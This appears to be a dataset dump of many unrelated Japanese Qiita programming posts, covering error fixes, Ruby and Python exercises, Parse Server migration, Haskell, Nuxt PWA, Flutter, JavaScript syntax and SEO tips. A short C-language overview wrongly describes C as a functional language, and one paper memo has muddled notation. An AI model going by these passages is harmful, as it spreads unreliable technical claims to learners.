OmniAICreator/Qiita-1.07M huggingface dataset:
ModuleNotFoundError: No module named 'apt_pkg'が発生したら、pythonパッケージのバージョンを疑え

・タイトルは一例です
## 環境
・Ubuntu20.04

## エラー内容
```
zombie@DESKTOP-JLU30CD:~$ yarn install
Traceback (most recent call last):
  File "/usr/lib/command-not-found", line 28, in <module>
    from CommandNotFound import CommandNotFound
  File "/usr/lib/python3/dist-packages/CommandNotFound/CommandNotFound.py", line 19, in <module>
    from CommandNotFound.db.db import SqliteDatabase
  File "/usr/lib/python3/dist-packages/CommandNotFound/db/db.py", line 5, in <module>
    import apt_pkg
ModuleNotFoundError: No module named 'apt_pkg'
zombie@DESKTOP-JLU30CD:~$
```

## 解決法
・[こちら](https://qiita.com/boonrew/items/0544c9bc606e00e26dda)の記事より、おそらくpythonのバージョンが影響していることが問題の原因なのかなと推察
・私自身の過去の投稿より、pythonのバージョンを上げたことによる影響も考えた↓
https://qiita.com/Zombie_PG/items/62f4b792ac541c04ee40
・んで解法↓
```
zombie@DESKTOP-JLU30CD:~$ sudo ln -sf /usr/bin/python3.8 /usr/bin/python3
```

## 再実行
```
zombie@DESKTOP-JLU30CD:~$ yarn install

Command 'yarn' not found, but can be installed with:

sudo apt install cmdtest

zombie@DESKTOP-JLU30CD:~$
```
ひとまず成功。

## 参考記事
➀ [ModuleNotFoundError: No module named 'apt_pkg'](https://qiita.com/boonrew/items/0544c9bc606e00e26dda)
【GitHubエラー】git@github.com: Permission denied (publickey).の解決法

## 概要
GitHubにプッシュしようとした際に`git@github.com: Permission denied (publickey).`というエラーが発生したので、その解決法の備忘録です。

### 注意
この記事は新卒エンジニアが執筆しています。
そのため内容に間違いや不備がある場合があります。
もし間違いを発見しましたら、どんどん指摘していただけると幸いです。

### 前提条件
以下のことができている人向けの記事です。
- SSH鍵の作成
- SSH鍵とGitHubと連携
    - できている場合は`ssh -T git@github.com`を実行すると、`Hi ユーザ名! You've successfully authenticated, but GitHub dose not provide shell access.`と表示されます。

## 原因
エラーの原因は**SSHエージェント**が動作していなかったことでした。
SSHエージェントとは、SSHキーを管理してくれるプログラムのことです。通常はユーザがPCにログインする際に起動するのですが、なんらかの原因でこれが起動していなかったみたいです。

## 解決手段
### 1. SSHエージェントが起動しているかの確認
``` bash
ssh-add -l
```
上記のコマンドを実行してみてください。`The agent has no identities.`と表示される場合は、SSHエージェントが起動していないか、エージェントに鍵が登録されていません。

### 2. SSHエージェントを起動
SSHエージェントを起動するには以下のコマンドを実行します。
``` bash
eval `ssh-agent`
```
### 3. SSHエージェントに秘密鍵を登録
SSHエージェントに秘密鍵を登録するには以下のコマンドを実行します。
``` bash
ssh-add -K ~/.ssh/id_rsa   # 各自の秘密鍵のパスに合わせて変更してください
```
`Identity passphrase for 秘密鍵のパス`と表示されれば、登録完了です。
この時点でもう一度GitHubにPushしてみると、成功すると思います。

## まとめ
SSH鍵を作成していて、GitHubとの連携もしているのに`git@github.com: Permission denied (publickey).`が発生する場合は、SSHエージェントを疑ってみてください。
入力して配列に入れる

入力して配列に入れるソースコードです

```Ruby

puts "データの入力個数を入力してください"
num1 = gets
num = num1.to_i
array1 = []
for i in 0...num do
  data = gets
  array1.push(data)
end

num2 = array1.length
for j in 0...num2 do
    puts array1[j]
end
```
NuGetのダウンロード先を変更する

## NuGet
デフォルトではユーザフォルダにダウンロードされる。なんとなく気持ち悪いのは俺だけなんかな？

## NuGet.config作ってダウンロード先を指定

ソリューションと同じフォルダにNuGet.configを作る。
「NugetTest」はアプリの名前
```NuGet.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <config>
    <add key="globalPackagesFolder" value="./NugetTest/packages" />
  </config>
</configuration>
```

これでNuGetからダウンロードすると自動でpackagesフォルダが作成されそこにダウンロードされる。
<img width="350" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/85010/ea63580f-cfa5-8e07-a7d6-1f36f6292ac6.png">

ちなみに、「./packages」と設定するとソリューションと同じフォルダにpackagesフォルダが作成される。
ニフクラ mobile backendのInstallationをParse Serverに移行する

[ニフクラ mobile backendは3月末で終了します](https://mbaas.nifcloud.com/info/2023/12/post-171.html)。

ニフクラ mobile backendからの移行先として、お勧めしているのが[Parse Server](https://parseplatform.org/)です。設計思想が近く、変更するコード量が少なく済むのではないかと思います。

そこでParse Serverへの移行をサポートできるスクリプトを作成中です。まずはプッシュ通知のデータ（デバイストークン）を移行できるようにしました。

## TL;DR

今回、移行用のスクリプトを作りました。

[NCMBMania/ncmb2parse](https://github.com/NCMBMania/ncmb2parse)

使い方は、以下のような形です。

```bash
npx node dist/push.js -a YOUR_APP_ID \
  -k YOUR_REST_API_KEY \
  -u YOUR_PARSE_SERVER_URL\
  /path/to/installation.json
```

## 必要な情報を用意する

### ニフクラ mobile backendのプッシュ通知データをエクスポートする

プッシュ通知データは、管理画面のエクスポート機能か、Chrome機能拡張で取得できます。JSONデータで取得してください。

[NCMBの管理画面をGoogle Chrome機能拡張で便利にする（CSVエクスポート） \#JavaScript \- Qiita](https://qiita.com/goofmint/items/19bccf321f210b013e10)

データはinstallation.jsonという名前だとします。

![csv.mov.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197026/50eb447d-2f2d-3e18-dda8-21c9033adb1b.gif)


## Parse Serverの各種データを取得する

Parse Serverを起動する際の、下記データが必要です。

- アプリケーションID
- REST APIキー
- Parse ServerのURL

これらを控えておきます。

## 移行用スクリプトを用意する

移行用スクリプトは、Node.jsで動作します。Node.jsがインストールされていない場合は、インストールしてください。

```bash
git clone https://github.com/NCMBMania/ncmb2parse.git
cd ncmb2parse
npm install
```

## 移行用スクリプトを実行する

先ほど取得したParse Serverの情報、installation.jsonのパスを指定して、スクリプトを実行します。

```bash
npx node dist/push.js -a YOUR_APP_ID \
  -k YOUR_REST_API_KEY \
  -u YOUR_PARSE_SERVER_URL\
  /path/to/installation.json
```

![FireShot Capture 018 - _Installation - Parse Dashboard - localhost.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/197026/df3d8e1a-d659-01d9-8c08-b94f40ecb437.jpeg)


ヘルプは以下の通りです。

```
Usage: push.js [options] <filePath>

Arguments:
  filePath                    installation.jsonのパス

Options:
  -k, --key <REST API Key>    Parse ServerのREST APIキー
  -u, --url <URL>             Parse ServerのURL
  -a, --app <Application ID>  Parse ServerのApplication ID
  -h, --help                  display help for command
```

## 注意点

installation.jsonにて独自に追加したフィールド含めて、同名のフィールドで移行されます。ただし、規定のフィールド名は以下のように追加します。

- objectId -> ncmbObjectId

なお、createdDateとupdatedDateも移行しますが、Parse Serverの **createdAt** と **updatedAt** と間違わないように注意してください（〜DateとAtが異なります）。また、createdDateとupdatedDateは、 **日付型ではなく文字列型** として移行されます。

## まとめ

Parse ServerはデータやACLがニフクラ mobile backendと近いので、データ移行はさほど難しくありません。Parse Dashboardを使えば、Webブラウザからプッシュ通知の作成も可能です。自分でサーバーを立ち上げる必要はありますが、移行先として検討してみてください。

[Parse Platform](https://parseplatform.org/)
アナログ回路 その28

# 概要
問題みつけたので、解いてみた。

# 問題



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/94c8a8cc-0081-7835-9a7f-cb3c15f45603.png)

# シュミレーション結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/e2bef5d5-ef56-212e-100b-a91ee900ffe6.png)

実効値１００ｖの電圧は、ルート２倍で１４１ｖ
グラフから、近いのは２８２ｖ

# 成果物

https://embed.plnkr.co/plunk/1NsGgFQDfr2IVJcN


以上。
修正：haskellコードの理解（関数合成・複数の`.`）

# はじめに
[辺境のHaskell道場で、賢者におもっくそ鍛えられた件](https://qiita.com/kohki_takatama/items/ef77d30e2491fd5c1c65)で
```hs
checkForFactor :: Int -> Int -> Bool
checkForFactor = (.) (== 0) . mod
```
これをなんとか理解しました。
でも、微妙に納得いってない部分があったんですよね。
その答えがわかったので追記する形です。
# 問題
```hs
checkForFactor :: Int -> Int -> Bool
checkForFactor x y = (.) (== 0) (mod x) y
```
これが原型です。
1. `mod x`でカリー化した１引数関数（定数xを割る、引数yの関数）を返す。
2. 1の関数を、`(== 0)`と関数合成。
3. これで、`y`を受け取る→`mod x`により`x % y`が計算され、`(== 0)`に渡される→真偽値が返る、という関数が作れました！


問題は、ここからの変形です。
前の記事ではごちゃごちゃ書きましたが……
# 解決方法
## `y`の削除
```hs
checkForFactor x y = (.) (== 0) (mod x) y -- 1
checkForFactor x = (.) (== 0) (mod x) -- 2
```
まずは基礎的に`f x y = (.) g (h x) y`の時、`f x = (.) g (h x)`です。
`1`の式`checkForFactor x y = (.) (== 0) (mod x) y`はつまり`f x y = (.) g (h x) y`なので、
`2`の`checkForFactor x = (.) (== 0) (mod x)`に変形できます。
## `x`の削除←ごちゃついたところ
```hs
checkForFactor x = (.) (== 0) (mod x) -- 2
checkForFactor x = ((.) (== 0)) (mod x) -- 3
checkForFactor = ((.) (== 0)) . mod -- 4
checkForFactor = (.) (== 0) . mod -- 5
```
まず、`2`を`3`に変形します。
すると、`f x = g (h x)`の形になります。
`f x = g (h x)`のとき、`f = g . h`のため、
`3`から`4`
#### `checkForFactor = ((.) (== 0)) . mod`が成り立つのです！！
あとは、余分な`()`を取り除いて、
`5`の`checkForFactor = (.) (== 0) . mod`が導けます。

挙動は
1. `x`を部分適用し、`mod x`が生成される。
2. `mod x`は`(.) (== 0)`と合成され、「新しい関数」が生成される。
3. 「新しい関数」は引数`y`を受け取り、``x `mod` y``の結果が`0`かどうか判定する。

# 終わりに
ChatGPT先生と協力して、Javascriptでコードを書いてみました。
`checkForFactor = (.) (== 0) . mod`のロジック・挙動を模倣したものです。
```js
//mod
function mod(x) {
	return function (y) {
		return x % y;
	}
}
//(.) (== 0)
function dotEqZero(f) {
	return function (x) {
		return f(x) === 0;
	}
}

//checkForFactor = (.) (== 0) . mod
function checkForFactor(x) {
	return dotEqZero(mod(x))
}

checkForFactor(x)(y)
```
もやもやがすっきりするの、キモチイイ……
またひとつ強くなってしまった……(　•´ω•` )ﻭｶﾝﾁｶﾞｲｼﾞｬﾅｲﾖﾈ?

まあ、すぐ壁にぶつかるんですけどね。
ばらかもんのなるを思い出しますね。
「僕最強。見るものすべてが美しい」状態と、「えっ知らない無理無理 Σ(OωO )」を繰り返すんだと思います、きっと。

わからない方は「アニメ ばらかもん 3話」です。冒頭です。もしくはマンガ11話。
ｵｽｽﾒです。
![見るものすべてが美しい](https://www.vap.co.jp/barakamon/images/story/s03/img01.jpg)
メモ　Shift15M 論文3章　テスト分布の誤差の期待値

# 0.前回までの復習

https://qiita.com/yusaku-pon/items/75aaf29517947c5621c7

max-IWやmean-IWは
訓練データとテストデータの分布の違いに応じて重みを調整する手法ということを説明していきました。
今回の論文での結果は、

基本的なERMを用いるよりも
ERMに加えてmean-IWかmax-IWを取り入れた方がACCが上がったことが報告されています。

2013-2017までのACCの変動
max-IWの2017年のACCが他の評価指標よりも高くなっていることがわかります。


ERM 2013 0.924(±0.005) 2014 0.907(±0.006) 2015 0.886(±0.009) 2016 0.865(±0.006) 2017 0.855(±0.003)
ERM + mean-IW 2013 0.924(±0.005) 2014 0.917(±0.002) 2015 0.886(±0.003) 
2016 0.866(±0.003) 2017 0.860(±0.002)
ERM + max-IW 2013 0.924(±0.005) 2014 0.921(±0.002) 2015 0.896(±0.006) 
2016 0.871(±0.001) 2017 0.865(±0.005)


# 1.誤差の期待値

Epte[∆2]　= Eptr[w(x)∆2]　= Eptr[ˆw(x)∆2]　+ Eptr[(w(x) − ˆw(x))∆2]


Epte[∆2]というのは、テスト分布における誤差の期待値を表しています

それは経験分布の重み付関数と誤差の2乗から求めることができ、
さらに分解すると
２つの項に分解することが可能です。

^x(x)は、予測の重み付け誤差を指しています。
w(x)は、真の重みつけ誤差になります。

## 分からなかったこと
確率変数の期待値自体は
関数と変数の積を積分すれば求まりますが、

誤差が
関数と誤差の二乗で表すことが自分には分からなかったです。
C言語【概要】

# C言語 とは

C言語とは、1972年に開発された、歴史の長いプログラミング言語の1つ。C言語を用いることで、ハードウェアの制御からシステムの開発といったことが可能になる。そのため、汎用性の高い言語だと言われている。
根強い人気の言語であり求人数も多く、**オブジェクト指向ではな指向ではなく関数型言語**だということも特徴の一つ。

# C言語の特徴
- 関数型言語
- 汎用性が高い
- プログラミングの実行速度が速い
- フレームワーク/ライブラリが豊富

## 関数型言語
関数型言語は、処理を関数にまとめて取り扱う開発手法のこと。数学的な処理を得意とする他、テストがしやすいというメリットがあり、家電製品などのプログラムでC言語はよく使われる。

## 汎用性が高い
元々C言語は、UNIXと呼ばれるコンピュータのOSを移植を容易にする目的で作られた言語で、メモリ領域の管理や、ポインター演算、ビット毎の論理演算など、ハードウェアに密着した処理がしやすいのが特徴。
組み込みソフトやスマホアプリ、ゲーム開発といったソフトウェア開発の分野においても利用されており、自由度が高い。
また、C言語の影響を受けて開発されたプログラミング言語（JavaやObjective-C、C++、C#…）も多くあり、C言語を習得することで、そういった言語も習得しやすくなる。

## プログラミングの実行速度が速い
プログラミングの実行速度が速いという点も、C言語の特徴の1つとして挙げられる。
プログラムの実行前に全体を翻訳して、実行速度を速くする **「コンパイル方式」** という方式を使用しているため、プログラムを高速で動作させることができる。

## フレームワーク/ライブラリが豊富
フレームワークやライブラリが豊富なこともC言語の特徴の一つであり、これらを活用することによって、プログラマーはゼロからコードを書く手間を省くことができるため、開発の効率化に繋がる。
C言語において、「.h」という拡張子を持つ「ヘッダファイル」を取り込むことによって、標準搭載されているライブラリを簡単に活用できる。

# まとめ
- C言語は、ハードウェアの制御からシステムの開発まで幅広く使用される歴史の古いプログラミング言語。
- 根強い人気があり求人数も多い
- オブジェクト指向ではな指向ではなく関数型言語
- 汎用性が高く、C言語の影響を受けて開発されたプログラミング言語も多い
- 「コンパイル方式」を使用しているため、プログラミングの実行速度が速い
- フレームワークやライブラリが豊富にある
Nuxt3でPWAAAAAAAA!!!

# はじめに
<!-- 発端や概要を記載 -->
Nuxt3でシンプルにPWAを実装するための情報がなかったため、振り返って自分が欲しかった情報をまとめました。
### ゴール
Nuxt3でPWA(vite-pwa/nuxt)を実装する。

### 開発環境
* MacOS 13.4.1 (Ventura)
* pnpm 8.11.0
* Vue 3.4.3
* Nuxt 3.9.0
* vite-pwa/nuxt 0.4.0

# 目次
<!-- タイトルとアンカー名を編集 -->
1. [事前準備](#Chapter1)
1. [@vite-pwa/nuxtのインストール](#Chapter2)
1. [Web App Manifestの追加](#Chapter3)
1. [Vueコンポーネントの追加](#Chapter4)
1. [参考文献](#reference)

<!-- 各チャプター -->
<a id="#Chapter1"></a>
# 事前準備
### PWA化したいNuxt3プロジェクトの作成
前回記事を参照しながら作成する

https://qiita.com/devkeech/items/3a6c430b16ae4312fd8b

<a id="#Chapter2"></a>
# @vite-pwa/nuxtのインストール
プロジェクトのルートディレクトリに移動し、以下のコマンドを入力
```zsh
# 開発環境(-D)に@vite-pwa/nuxtを追加
pnpm add -D @vite-pwa/nuxt
```
`nuxt.config.ts`のmodulesに@vite-pwa/nuxtを追加
```ts:nuxt.config.ts
export default defineNuxtConfig({
  modules: ['@vite-pwa/nuxt'],
  devtools: { enabled: true }
})
```

<a id="#Chapter3"></a>
# Web App Manifestの追加
PWAの要件の一つ、インストール可能(Installable)を実現するためのWeb App Manifestを`nuxt.config.ts`に追加する。
最終的な設定の中身は以下の通り。

```ts:nuxt.config.ts
export default defineNuxtConfig({
  modules: ['@vite-pwa/nuxt'],
  devtools: { enabled: true },
  pwa: {
    registerType: 'autoUpdate',
    manifest: {
      name: 'Nuxt Vite PWA',
      short_name: 'NuxtVitePWA',
      theme_color: '#ffffff',
      icons: [
        {
          src: 'icon-192x192.png',
          sizes: '192x192',
          type: 'image/png',
        },
        {
          src: 'icon-512x512.png',
          sizes: '512x512',
          type: 'image/png',
        },
        {
          src: 'icon-512x512.png',
          sizes: '512x512',
          type: 'image/png',
          purpose: 'any maskable',
        },
      ],
    },
    workbox: {
      globPatterns: ['**/*.{js,css,html,png,svg,ico}'],
      navigateFallback: '/'
    },
    client: {
      installPrompt: true,
      // you don't need to include this: only for testing purposes
      // if enabling periodic sync for update use 1 hour or so (periodicSyncForUpdates: 3600)
      periodicSyncForUpdates: 3600,
    },
    devOptions: {
      enabled: true,
      suppressWarnings: true,
      navigateFallbackAllowlist: [/^\/$/],
      type: 'module',
    },
  }
})
```
pwaというプロパティが見つからないというエラーが出る場合は、再ビルドすれば解消した。
```zsh
# @プロジェクトのルートディレクトリ
pnpm build
```
また、アイコンに関しては、[PWA APP ICON GENERATOR](https://tools.crawlink.com/tools/pwa-icon-generator/)で生成して、ルートディレクトリ配下の`/public`にWeb App Manifest通りの名前で配置しておく。

<a id="#Chapter4"></a>
# Vueコンポーネントの追加
トップページとなっているvueファイルに、VitePwaManifestコンポーネントを追加。
これで晴れてPWAとしてアプリが動き始めるはず！！
```vue:app.vue
<template>
  <div>
    <!-- 下の一行を追加（NuxtPwaManifestでもOK！） -->
    <VitePwaManifest />
    <NuxtWelcome />
  </div>
</template>
```
![スクリーンショット 2024-01-08 16.33.18.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1841759/d5b73085-8519-28a6-b45e-bf8b8bc56d43.jpeg)
ここまでお疲れ様でした！
<a id="#reference"></a>
# 参考文献
- [vite-pwa/nuxtの公式ドキュメント](https://vite-pwa-org.netlify.app/frameworks/nuxt)
- [vite-pwa/nuxt公式のデモレポジトリのnuxt.config.ts](https://github.com/vite-pwa/nuxt/blob/ceed0817b16c83a057194c2abef713f9ac566f57/playground/nuxt.config.ts#L4)
react native 0.73で内部ストレージを扱う

[AsyncStorage](https://reactnative.dev/docs/asyncstorage)がいつの間にか使えなくなってしまっていた。

公式は[ここ](https://reactnative.directory/?search=storage)で探せとアナウンスしているので
目についた[react-native-mmkv-storage](https://github.com/ammarahm-ed/react-native-mmkv-storage)を試してみました。

こんな感じでコードを書いてみると
```typescript
import { MMKVInstance, MMKVLoader } from "react-native-mmkv-storage";

export default class Internal {
    static initialized = false
    static storage: MMKVInstance | undefined

    static init() {
        this.storage = new MMKVLoader().withInstanceID('settings').initialize()
        this.initialized = true
    }

    static load(key: string): string {
        if (!this.initialized){
            this.init()
        }
        const result =  this.storage?.getString(key) ?? ""
        console.log("loaded:" + result)
        return result
    }

    static save(key: string, value: any) {
        if (!this.initialized){
            this.init()
        }
        this.storage?.setString(key, "" + value);
    }
}

```

保存と読み込みが出来ました
![mmkvstorage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2383810/38a2040b-e293-724b-e7ae-62a55caf88c9.png)

ちなみにiOSしか試してません。
AndroidはiOSが動けば多分動くでしょう。  
permissionさえ与えてやればiOSよりはゆるいはずなので

また、[公式](https://github.com/ammarahm-ed/react-native-mmkv-storage#usemmkvstorage-hook)にもある通り、イベントトリガでの読み書きも出来るようです。
数値のスペース埋め(入力でデータの数とスペースで何桁の数にするか指定する)

***数値のスペース埋め***(入力でデータの数とスペースで何桁の数にするか指定する)
のプログラミング課題を解きました。

```Python3
#入力するデータ数とスペース埋めで何桁で出力するか入力する
data1 = input("数値のデータの数とスペース埋めで何桁の数に指定するかスペース区切りで入力してください")
array1 = data1.split(' ')
N = int(array1[0])
keta = int(array1[1])
for i in range(0,N):
    num = input()
    ans = "{: >{}}".format(num,keta)
    print(ans)
```
個人開発で行ったユーザーを増やすための施策についてまとめてみる


## 概要
こんにちは、Keitoです。　
エンジニアのやりがいの一つには
多くの人に自分が作ったサービスを使ってもらうことがあると思います。
今回は沢山の人にサービスを届けるために個人開発をする上で行った施策について共有します。


## この記事で伝えたいこと
- ユーザーを増やすために行った施策や計測方法について


ユーザーを増やすための手法は様々あるかと思いますが、
今回の個人開発をする上で行ったことについて共有します。


## ①ユーザーや競合を意識したサービスの命名
サービス名の命名の仕方には沢山の基準があると思いますが、
ここでは最低限抑えるべきと思ったポイントについて紹介します。

- **ユーザーに覚えてもらいやすい名前にする**
 サービスは口コミで広がる場合があるので、キャッチーで馴染みやすい名前にする必要があります。
- **競合が少ない名前にする**
 既存のサービスやWebページ名と名前が似てしまうとユーザが検索した時になかなか自分のサービスが表示されない現象に陥るので、事前に調査を行い回避する必要があります。
 
- **ドメインが取得できる名前にする**
多くの場合サービス名がそのままドメイン名になるかと思います。事前にドメインを取得することをお勧めします。


#### 工夫したポイント
<dl>
  <dt>サービス名をターゲット層へのアンケートを参考にする</dt>
  <dd>実際に自分だけで決定するとなると自己満足な命名になり得る場合があります。実際にアンケートを行い、自分の認識とユーザーの認識に齟齬が無いか確かめるのは有効な手段だと感じました。自分がイケてると思った名前がユーザーに受け入れられない現象は起こりがちな問題かと思います</dd>
  
</dl>


## ②適切なHTMLタグの構造にする

HTMLの適切な構造はSEOにとって重要です。検索エンジンはウェブサイトのコンテンツを理解し、適切にインデックスするためにHTMLの構造を解析するためです。詳しくはGoogleが提供している[検索エンジン最適化（SEO）スターター ガイド](https://developers.google.com/search/docs/fundamentals/seo-starter-guide?hl=ja#understand_your_content "Google（とユーザー）がコンテンツを理解できるようにする")に記載されています

ここでは特に重要だと感じたタグについて紹介します。

#### titleタグとdescriptionタグの記述。
まず、titleタグはそのページがどの様なページであるかを定義づけるタグです。
例えばqiitaで検索した場合赤線部分がtitleタグになります

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1777990/e122a3c0-218f-3d4f-de62-021ead58da92.png)

このタグを適切に設定することで、
Googleのクローラーにコンテンツが正しく認識されるようになるため、
**検索順位の向上**が見込めるでしょう

次に、descriptionタグはそのページについての説明をするタグになります。
例えば、qiitaで検索した場合青線部分がdescriptionタグになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1777990/a4411e30-cda7-48ce-6eca-29a74ee61060.png)

このタグを適切に設定することで
**クリック率の向上**に繋がるでしょう。
なぜならば、似たようなタイトルの検索結果が表示されたときに
わざわざサイトを見なくてもそのサイトがどの様なサイトであるかを示すことが出来るためです。

#### 工夫したポイント
<dl>
  <dt>titleタグにはなるべく一般的なワードを使用する</dt>
  <dd>もし自分がサービスを検索する際にはどのようなワードで検索するかを考える必要があります。まだ名の知られていないサービスであれば直接サービス名を検索する人は少ないかもしれません。そのため、なるべくサービスに関する一般的なワードを含むのは良いと思います。</dd>
  <dt>descriptionタグにはサービスが提供する価値を明確に記述する</dt>
  <dd>ユーザーは似たようなタイトルが検索結果に表示されたとき、desscriptionはそれらを比較するのに役立ちます。そのため、サービスの独自性や比較優位性についてのワードを含められると良いのではないかと思います。</dd>
</dl>

#### 計測の方法
計測には[Google Search Console](https://search.google.com/search-console/about?hl=ja "Google Search Console")を使用しました。
これを使用することで、検索パフォーマンスの状態を知ることができます。例えばユーザーがどの様なワードで検索したかということや、サービスへの流入経路が分かります。
自分が仮説を立てて行った施策の妥当性を確認することができます。



## ③別の媒体を使用してサービスについての紹介を行う
実際に検索や口コミのみでサービスの利用を促すのは、リリースしたてで知名度の無い段階においてはあまり効果は望めないと思います。そのため、他の媒体を使用してサービスの紹介やお知らせ等について発信しました。こうすることで、直接検索されなくても、他の人が書いた記事のページでレコメンドされるなど等の効果が望めます。


#### 工夫したポイント
<dl>
  <dt>サービスの紹介のみでなく、解決する社会課題についても取り上げる</dt>
  <dd>サービスについての説明というトピックから解決する社会課題についていという少し抽象度を高めたテーマについての発信をすることで、より多くの人に認知してもらえるようになります。もちろん記事だけをみてサービスは利用しないという人はいるかもしれませんが、将来的にユーザーになってくれたり、他の人におすすめしてくれるような人になってくれたりする可能性があるので、こういった方たちにも発信する利点は十分にあるのかなと感じました。</dd>

</dl>


## おわりに
実際に多くの人にサービスを届けるというのは思ったよりも難しいと感じました。
個人開発は限られた時間で行う必要があるので、開発と、ユーザーを増やすための施策にかける時間の配分が非常に難しいところですね。
アナログ回路 その27

# 概要

問題みつけたので、解いてみた。

# 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/487cc9e4-3af6-2fc6-8e16-6a6b805c586b.png)

# シュミレーション結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/f9bb8911-e6af-0c99-08ad-ffd0b9f6e8d5.png)

Vdは、０．８V
Idは、０．２A
に、見える。

# 成果物

https://embed.plnkr.co/plunk/EiNe2tcFtBRta7Cc


以上。
【Flutter】Admob使用時にアプリ起動が稀に失敗する問題の対応

## 背景
FlutterにてiOSアプリの開発中、Admobの広告を配置した後にリリースモードでテスト、
もしくはTestFlightにて実機テストを実施した。

その結果、以下のように正常に起動しないケースが稀に発生することに気づいた。

![fail.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/660544/c5cf5253-6a9f-56cb-679b-4d993b1e4c3a.gif)

## 原因
void main()内でAdmobインスタンスの初期化（MobileAds.instance.initialize()）および、
runApp()を実行しているが、Admobインスタンスの初期化が非同期処理であるため、
初期化が完了する前に広告が描画されることが稀に起こっており、それが原因に見える。

そのため、Admobの初期化完了を待ってrunApp()を実行するように修正。

```Dart
void main() async {
  WidgetsFlutterBinding.ensureInitialized();
  await MobileAds.instance.initialize();
  runApp(const MyApp());
}
```

修正以降、起動時の失敗は現在のところ確認していない。

## 宣伝
Photo Squareという画像の周りに白枠をつけて調整できるアプリを作りました。
Instagramなどで画像をよく投稿する方ぜひ活用してみてください。
https://apps.apple.com/jp/app/photo-square-%E7%B0%A1%E5%8D%98%E7%99%BD%E6%9E%A0%E5%8A%A0%E5%B7%A5%E3%82%A2%E3%83%97%E3%83%AA/id6474610986

![ps6-7inch.001.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/660544/1757f7d8-1424-2e78-3ac6-c9ee2aad489b.jpeg)
モダンJavaScript

## はじめに
フロント開発で、知らない記述のコードを見かけることが多くなりました。
サーバサイド開発が主担当なのですが、遅れをとらないように勉強を始めました。
参考になった資料や記事などを元にして、モダンJavaScriptについて、まとめていきます。

## モダンJavaScript
### 変数宣言
**var** による変数宣言では再宣言できる。複数個所で定義されていると、プログラムの実行順によっては、どこで定義された変数なのかが、判断が難しくなる。
ES2015で追加された **let** による変数宣言を使えば同じ名前の変数の再宣言を避けられる。定数を宣言する **const** もES2015で利用可能となった。

:::note warn
constで定義した変数がオブジェクトや配列、関数といったプリミティブ型以外の場合は、内部の値を変更や追加できてしまうので注意が必要。
:::

### テンプレート文字列
バッククォートで囲んだ文字列に **${変数}** を入れ込む記法。プラス記号で文字列を連結しないので可読性が向上する。

```javascript
const name = 'World';
console.log(`Hello, ${name}!`);
```

### オブジェクトの分割代入
オブジェクト内の変数の一部取り出しや異なる順番でも取り出せる。
変数名の後ろに別名の変数を定義することもできる。

```javascript
const person = { id: 1, name: "田中太郎", birthday: "1991/01/09", height: 170, weight: 65 };
const { id, name, birthday } = person;
console.log(`${id}, ${name}, ${birthday}`);
const { weight: kg, height: cm } = person;
console.log(`${cm}, ${kg}`);
```

### 配列の分割代入
オブジェクトと違って変数の一部取り出しはできるが順番を変えた取り出しはできない。

```javascript
const siblings = [ "太郎", "次郎", "三郎", "花子" ];
const [ one, two, three, four ] = siblings;
console.log(`${one}, ${two}, ${three}, ${four}`);
```

### 引数のデフォルト値
変数に値がない場合に **undefined** と表示されるのを防ぐことができる。

```javascript
// 引数のデフォルト値
const hello = (name = "World") => console.log(`Hello, ${name}`);
hello();

// オブジェクト分割代入のデフォルト値
const person = { firstname: "田中", familyname: "太郎" };
const { gender = "male" } = person;
console.log(`性別: ${gender}`);
```

### スプレッド構文

```javascript
// 配列要素の展開
const nums = [ 1, 2 ];
const f_sum = (num1, num2) => console.log(num1 + num2);
f_sum(...nums); // 3

// 配列要素のまとめ代入
const nums2 = [ 1, 2, 3, 4, 5 ];
const [num1, ...nums3] = nums2;
console.log(nums3); // [2, 3, 4, 5]

// 配列要素のコピー
const nums3 = [ 1, 3, 5 ];
const nums4 = [...nums3];
console.log(nums4); // [ 1, 3, 5 ]

// 配列要素の結合
const nums5 = [ 7, 9 ];
const nums6 = [ ...nums4, ...nums5 ];
console.log(nums6); // [ 1, 3, 5, 7, 9 ];

// オブジェクトの結合
const score1 = { v1: 1, v2: 2 };
const score1a = {...score1};
console.log(score1a); // { v1: 1, v2: 2 }

const score2 = { v3: 3, v4: 4 };
const score2a = {...score1, ...score2};
console.log(score2a); // { v1: 1, v2: 2, v3: 3, v4, 4 }
```

### オブジェクト定義の省略記法

```javascript
// 変数名とオブジェクトのプロパティが同じケース１
const id = 1;
const name = "商品";
const product = {
  id: id,
  name: name
};
console.log(product); // { id: 1, name: "商品" }

// 変数名とオブジェクトのプロパティが同じケース２
const id = 2;
const name = "商品２";
const product = {
  id,
  name
};
console.log(product); // { id: 2, name: "商品２" }
```

## 配列

### map(), filter()

Javaのラムダ式のような記述で配列の要素の加工もできる。

```javascript
const people = [ "田中", "鈴木", "山田" ];

// 加工して新しい配列を作成
const people2 = people.map((x) => {
  return `${x}さん`;
});

people2.map((name, index) => {
  console.log(`${index+1}: ${name}`);
});

// 奇数にある要素をフィルタリングで取得
const people3 = people2.filter((name, index) => {
  return index % 2 == 0;
});

people3.map((name, index) => {
  console.log(`${index+1}: ${name}`);
});
```



## References
* 『モダンJavaScriptの基本から始めるReact実践の教科書』じゃけぇ(岡田拓也)
* 『JavaScriptコードレシピ集』株式会社ICS 池田泰延 鹿野壮 著
Amazon Managed Grafanaのダッシュボードのエクスポートとインポート

こんにちは。Kaneyasuです。

以前、GrafanaのHTTP APIでデータソースの設定をするやり方を書きました。

https://qiita.com/satoshi256kbyte/items/ac655ab6b64058769620

これを利用したらダッシュボードの作成も自動化できるんじゃないか？と当時思ったのですが、
